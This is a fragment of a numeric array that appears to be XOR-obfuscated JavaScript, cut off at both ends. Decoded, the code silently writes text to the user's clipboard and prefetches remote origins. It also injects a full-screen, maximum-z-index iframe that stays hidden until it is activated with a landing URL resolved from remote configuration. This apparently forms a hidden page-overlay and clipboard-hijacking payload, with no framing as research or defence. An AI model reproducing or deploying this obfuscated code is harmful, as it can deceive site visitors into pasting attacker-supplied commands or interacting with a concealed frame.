,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,8